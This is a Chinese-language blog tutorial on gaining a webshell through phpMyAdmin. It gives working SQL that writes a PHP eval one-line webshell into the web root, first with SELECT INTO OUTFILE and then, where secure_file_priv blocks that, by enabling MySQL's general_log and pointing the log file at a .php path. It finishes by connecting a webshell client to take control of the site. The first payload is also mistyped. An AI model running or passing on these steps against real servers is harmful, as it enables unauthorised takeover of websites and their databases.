首页 技术文章 数据库 关于phpmyadmin新姿势getshell
正文 评论

关于phpmyadmin新姿势getshell

下面由phpmyadmin使用教程栏目给大家介绍phpmyadmin新姿势getshell,希望对需要的朋友有所帮助!

关于phpmyadmin新姿势getshell

百度百科:phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

通俗的讲 其作用就是可以在web页面方便的操作数据库。

当我们得到一个站点的phpmyadmin页面时,下一步要做的就是getshell。

可以通过写shell进行提权,而我们需要满足以下条件:

1.数据库root权限

2.知道网站的物理路径

3.数据库有写权限

通过 select '<?php eval($_POST=[123];)?>' INTO OUTFILE '网站物理路径' 写入shell

本文主要讲的是在条件3不满足的情况下成功getshell。

利用条件:MySQL 5.0+

MySQL 5.0+的版本会自动创建日志文件,那么在服务运行的情况下修改全局变量也是可以变动文件位置的,但是必须要对生成日志的目录有可读可写的权限。

(Linux环境下可能会比较苛刻,因为站点目录是一个用户,MySQL是另外一个用户,权限管控较为严格,主要取决于权限配置是否得当)

首先我们测试站点是否有写权限

执行sql语句 SHOW VARIABLES LIKE 'secure_file_priv'

关于phpmyadmin新姿势getshell

关于phpmyadmin新姿势getshell

sql语句 SHOW VARIABLES LIKE 'secure_file_priv' 进行查询 查找secure_file_priv

secure-file-priv特性
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。

  • 当secure_file_priv的值为null ,表示限制mysql 不允许导入|导出

  • 当secure_file_priv的值为/tmp/ ,表示限制mysql 的导入|导出只能发生在/tmp/目录下

  • 当secure_file_priv的值没有具体值时,表示不对mysql 的导入|导出做限制

可以在mysql-ini文件中设置其属性

关于phpmyadmin新姿势getshell

经测试,我们没有写权限

关于phpmyadmin新姿势getshell

然后再介绍两个MySQL全局变量(general_log、general_log file

  1. general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  2. general log file 指的是日志的保存路径。

我们可以通过将一句话木马写入mysql日志中然后移动mysql日志路径到网站目录下实现getshell

执行sql语句 SHOW VARIABLES LIKE 'general_log%' 进行模糊查询

关于phpmyadmin新姿势getshell

日志默认关闭

我们执行sql语句

set global general_log = "ON";     #开启日志
SET global general_log_file='网站下物理路径';  #更换日志路径

关于phpmyadmin新姿势getshell

成功创建

关于phpmyadmin新姿势getshell

关于phpmyadmin新姿势getshell

然后执行特殊的查询语句

select  '<?php eval($_POST[aaa]);?>'

关于phpmyadmin新姿势getshell

我们进入112233.php进行验证,成功写入shell

关于phpmyadmin新姿势getshell

最后进行菜刀连接,获得站点webshell

关于phpmyadmin新姿势getshell

以上就是关于phpmyadmin新姿势getshell的详细内容,更多请关注主题君其它相关文章!

-=||=-收藏赞 (0)
更多主题
单栏极简文艺WordPress博客主题:Diaspora主题
¥ 0 关注:20,029
详情
简约黑白WordPress个人博客主题:Personal主题
¥ 0 关注:19,988
详情
v1.0.0
小程序收录免费WordPress主题:XCX主题
¥ 0 关注:19,602
详情
v1.0.0
一款简约单栏的免费WordPress博客主题:itheme主题
¥ 0 关注:18,111
详情
功能丰富切轻量的WordPress虚拟资源主题:Rizhuti主题
¥ 599 关注:17,998
详情
大气优雅免费WordPress博客主题:HONEY主题
¥ 0 关注:14,851
详情
回复
暂无评论

不要再留垃圾评论了,主题君整理资源不容易,留几句鼓励的话吧。